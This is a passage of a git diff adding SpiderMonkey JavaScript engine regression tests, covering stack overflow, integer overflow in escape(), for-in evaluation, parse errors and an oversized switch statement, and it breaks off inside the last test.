+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-295666.js b/js/src/tests/non262/regress/regress-295666.js
new file mode 100644
index 0000000000..b527b5ec9c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-295666.js
@@ -0,0 +1,22 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 295666;
+var summary = 'Check JS only recursion stack overflow';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ throw {toString: parseInt.call};
+}
+catch(e)
+{
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-299209.js b/js/src/tests/non262/regress/regress-299209.js
new file mode 100644
index 0000000000..891a4fd35d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-299209.js
@@ -0,0 +1,23 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 299209;
+var summary = 'anonymous function expression statement => JS stack overflow';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ eval('for (a = 0; a <= 10000; a++) { function(){("");} }');
+}
+catch(e)
+{
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-299641.js b/js/src/tests/non262/regress/regress-299641.js
new file mode 100644
index 0000000000..6f844b27fc
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-299641.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 299641;
+var summary = '12.6.4 - LHS for (LHS in expression) execution';
+var actual = '';
+var expect = 0;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f() {
+ var i = 0;
+ var a = [{x: 42}];
+ for (a[i++].x in [])
+ return(a[i-1].x);
+ return(i);
+}
+actual = f();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-303213.js b/js/src/tests/non262/regress/regress-303213.js
new file mode 100644
index 0000000000..d01c28d122
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-303213.js
@@ -0,0 +1,56 @@
+// |reftest| skip-if(!xulRuntime.shell||Android) -- bug 524731
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 303213;
+var summary = 'integer overflow in js';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+printStatus('This bug passes if no crash occurs');
+
+expectExitCode(0);
+expectExitCode(5);
+
+try
+{
+ var s=String.fromCharCode(257);
+
+ var ki="";
+ var me="";
+ for (i = 0; i < 1024; i++)
+ {
+ ki = ki + s;
+ }
+
+ for (i = 0; i < 1024; i++)
+ {
+ me = me + ki;
+ }
+
+ var ov = s;
+
+ for (i = 0; i < 28; i++)
+ ov += ov;
+
+ for (i = 0; i < 88; i++)
+ ov += me;
+
+ printStatus("done generating");
+ var eov = escape(ov);
+ printStatus("done escape");
+ printStatus(eov);
+}
+catch(ex)
+{
+ // handle changed 1.9 branch behavior. see bug 422348
+ expect = 'InternalError: allocation size overflow';
+ actual = ex + '';
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-306633.js b/js/src/tests/non262/regress/regress-306633.js
new file mode 100644
index 0000000000..6efd1b92a6
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-306633.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 306633;
+var summary = 'report compile warnings in evald code when strict warnings enabled';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = 'SyntaxError';
+
+try
+{
+ actual = eval('super = 5');
+}
+catch(e)
+{
+ actual = e.name;
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-306794.js b/js/src/tests/non262/regress/regress-306794.js
new file mode 100644
index 0000000000..178c715e0d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-306794.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Blake Kaplan
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 306794;
+var summary = 'Do not assert: parsing foo getter';
+var actual = 'No Assertion';
+var expect = 'No Assertion';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ eval('getter\n');
+}
+catch(e)
+{
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-308085.js b/js/src/tests/non262/regress/regress-308085.js
new file mode 100644
index 0000000000..d23ff12c15
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-308085.js
@@ -0,0 +1,569 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 308085;
+var summary = 'JavaScript switch statement going to the wrong case';
+var actual = 'fail';
+var expect = 'pass';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+switch (0) {
+case 0:
+ actual = "pass";
+ break;
+case 1:
+ // 546 lines each with 30 "1;" statements
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
